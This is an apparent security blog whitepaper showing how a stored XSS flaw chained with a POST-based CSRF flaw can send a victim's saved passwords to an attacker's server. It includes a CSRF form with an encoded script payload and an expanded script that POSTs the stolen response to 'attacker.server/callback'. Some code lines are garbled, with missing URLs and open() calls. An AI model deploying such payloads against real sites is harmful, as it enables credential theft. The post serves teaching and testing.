You cannot copy content of this page

Problem Statement –

Consider a web application, which sends back saved user credentials like passwords, back in the response, when a post based request gets issued by the user.

In this whitepaper, we discuss ways in which, how we can chain bugs, viz. XSS and CSRF attack and leverage it to send back the response to the attacker’s domain.

In the scenario, we discuss , the web application is already vulnerable to Post Based CSRF attacks at a particular endpoint.

According to OWASP page on CSRF attacks (, it suggests that , “CSRF attacks target functionality that causes a state change on the server, such as changing the victim’s email address or password, or purchasing something. Forcing the victim to retrieve data doesn’t benefit an attacker because the attacker doesn’t receive the response, the victim does. As such, CSRF attacks target state-changing requests.”

But what if, we may try to return it back to the attacker ? This can possibly be done by chaining two bugs , XSS along with CSRF attack on the web application.

Implementation Scenario –

One of the endpoints is both vulnerable to stored XSS and CSRF. Since once attacker is capable of using javascript, it becomes easier to exploit it via using the vast features of Javascript.

The attacker hosts the malicious webpage on his site.

When the victim visits the site the chaining of two bugs enables the data in response to be sent back to the attacker, unlike the situations, where the response to the POST request can be viewed only at the victim’s context.

  1. The attacker tricks the victim to visit the hosted page of attacker’s domain.
  2. The attacker’s controlled website forge a POST request and send the XSS payload found in the web application
  3. The XSS gets stored by the web application and executed in victim’s browser context


Working Concept-

The CSRF Payload –

<form action= enctype=text/plain>

<input name=Page value=”%3cscript%3evar http=new XMLHttpRequest,url=’’,params=’Page=GetPass’;‘POST’,url,!0),http.setRequestHeader(‘Content-type’,’application/x-www-form-urlencoded’),http.onreadystatechange=function(){if(4==http.readyState&&200==http.status){var t=new XMLHttpRequest,e=t.responseText;‘POST’,url,!0),t.setRequestHeader(‘Content-type’,’text/plain’),t.send(e)}},http.send(params);%3c%2fscript%3e” >

<input type=submit>



The request performed  –

POST /vuln HTTP/1.1



Accept: text/plain, */*; q=0.01

Accept-Language: en-GB,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: abc

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest


var http = new XMLHttpRequest();

var url = ‘’;   // Endpoint which returns sensible information

var params = ‘Page=GetPass’;‘POST’, url, true);

http.setRequestHeader(‘Content-type’, ‘application/x-www-form-urlencoded’);

http.onreadystatechange = function() {//Call a function when the state changes.

if(http.readyState == 4 && http.status == 200) {


var http2 = new XMLHttpRequest();

var url2 = ‘https://attacker.server/callback’;

var params2 = http2.responseText;‘POST’, url, true);

http2.setRequestHeader(‘Content-type’, ‘text/plain’);






Final considerations-

This article offers a better understanding of how user data can be obtained by exploiting a CSRF issue. In fact, it can be done, if chained with another vulnerability found within the web application.


Cross-Site Request Forgery  –

Testing for CSRF (OTG-SESS-005)  –

Cross-Site Scripting (XSS) –

5 Practical Scenarios for XSS –


Authors :


Rafael R Silva (

Ronnie T Baby ( 



  1. dimabaybaev9 03/03/2019 Reply

    I think, what is it excellent idea.

  2. baika20125l 06/03/2019 Reply

    You are mistaken. I suggest it to discuss.

  3. valens_ka5l 06/03/2019 Reply

    The excellent message gallantly)))

Leave a Comment

Your email address will not be published.

error: Alert: Content is protected !!